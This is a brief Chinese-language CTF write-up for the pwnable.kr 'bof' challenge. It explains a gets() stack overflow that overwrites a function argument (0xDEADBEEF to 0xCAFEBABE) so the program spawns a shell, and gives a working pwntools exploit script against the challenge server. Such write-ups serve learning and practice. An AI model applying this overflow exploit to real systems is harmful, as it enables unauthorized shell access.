Pwnable.kr:bof

简单栈溢出。

bof

原题有提供binary和source code。

(venv) chybeta@ubuntu:~/pwn/pwnable/bof$ file bof
bof: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ed643dfe8d026b7238d3033b0d0bcc499504f273, not stripped

用IDA打开，f5:

main函数：

func函数：

func函数接受一个参数（0xDEADBEEF），之后通过gets（）接受输入。因此可以通过栈溢出，将a1覆盖为0xCAFEBABE，这样能直接执行 system(“/bin/sh”)

a1 是 func（）的参数，在栈上位于 ebp+8h 的位置。而输入字符串的起点为 ebp-2ch。两者相差：0x2c + 0x8h = 52 。

exp

from pwn import *
p = remote("pwnable.kr","9000")
payload = 'a' * 52
payload += p32(0xcafebabe)
p.sendline(payload)
p.interactive()

flag